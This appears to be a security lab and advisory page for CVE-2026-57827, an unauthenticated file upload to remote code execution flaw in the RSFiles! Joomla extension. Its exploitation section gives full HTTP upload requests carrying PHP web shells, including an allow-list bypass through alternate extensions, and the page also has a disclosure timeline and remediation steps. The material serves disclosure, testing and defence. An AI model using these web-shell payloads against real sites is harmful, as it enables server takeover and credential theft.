RSFiles! for Joomla - Unauthenticated Arbitrary File Upload to RCE (CVE-2026-57827)
Run this lab
Lab not starting or behaving wrong? Report a problem with this lab
Summary
RSFiles! (com_rsfiles) is a commercial Joomla file and download manager by RSJoomla. Versions prior to 1.17.12 contain CVE-2026-57827, an unauthenticated arbitrary file upload vulnerability in the frontend upload endpoint.
- The vulnerability exists because the upload logic is split across two tasks:
- - rsfiles.checkupload: pre-flight check with permission gate and extension allow-list
- - rsfiles.upload: the write method with NO auth, NO CSRF, and NO file type check
An attacker can call rsfiles.upload directly, bypassing the security checks, and upload a .php file to the web-accessible downloads/ directory, achieving unauthenticated remote code execution.
Note: This lab uses a SIMULATED RSFiles! endpoint since the extension is commercial. The endpoint and vulnerability behavior are identical.
Technical detail
Impact
Critical - Unauthenticated Remote Code Execution (RCE).
- - Upload and execute arbitrary PHP code on the Joomla server
- - Read Joomla configuration.php containing database credentials
- - Create hidden Joomla Super User accounts
- - Plant persistent backdoors in the web root
- - Pivot to other sites on shared hosting
- - Add server to botnet or spam network
- - Full server compromise with the privileges of the web server user
Exploitation & proof of concept
Unauthenticated File Upload via rsfiles.upload Task
- 1. Upload PHP file via POST /index.php?option=com_rsfiles&task=rsfiles.upload
- 2. Execute uploaded PHP via GET /downloads/<filename>.php
- 3. Full RCE achieved without authentication
POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php <?php echo 'VULN-CVE-2026-57827'; ?> ------WebKitFormBoundary--
HTTP/1.1 200 OK Content-Type: application/json {"status":"success","message":"File uploaded successfully","url":"\/downloads\/shell.php"}
<?php system($_GET["cmd"]); ?><?php echo "VULN-CVE-2026-57827"; ?>"status":"success""url":"/downloads/Access Denied403 ForbiddenInvalid tokenauthentication requiredBypass Pre-Flight Check via Direct Upload
POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="evil.php5" Content-Type: application/x-php <?php echo shell_exec($_GET["e"]); ?> ------WebKitFormBoundary--
HTTP/1.1 200 OK Content-Type: application/json {"status":"success"}
Bypasses the rsfiles.checkupload allow-list by going directly to the write endpoint. PHP files with alternate extensions (.php5, .phtml, .shtml) may also be executable depending on server configuration.
Nuclei detection: vt-2026-57827.nuclei.yaml
Disclosure timeline
- 2026-07-09mySites.guru discovers the vulnerability during source code audit
- 2026-07-10Privately disclosed to RSJoomla; vendor ships fix (1.17.12) same day
- 2026-07-11CVE-2026-57827 assigned, crediting Phil Taylor (mySites.guru)
Remediation
- Update RSFiles! to version 1.17.12 or later immediately
- If update is not possible: delete /components/com_rsfiles/controllers/rsfiles.php
- Enable 'Secure download folder' and 'Secure briefcase folder' in RSFiles > Settings > Files
- Check downloads/ and briefcase/ folders for stray .php files
- Audit server access logs for POST requests to rsfiles.upload not preceded by rsfiles.checkupload
- Check Joomla Users list for unauthorized Super User accounts
- Use RSFirewall! which silently deletes .php uploads by default
Lab setup notes
- Access the application at http://localhost:8383
- Upload endpoint: POST /index.php?option=com_rsfiles&task=rsfiles.upload
- Check endpoint: POST /index.php?option=com_rsfiles&task=rsfiles.checkupload
- Uploaded files: /downloads/<filename>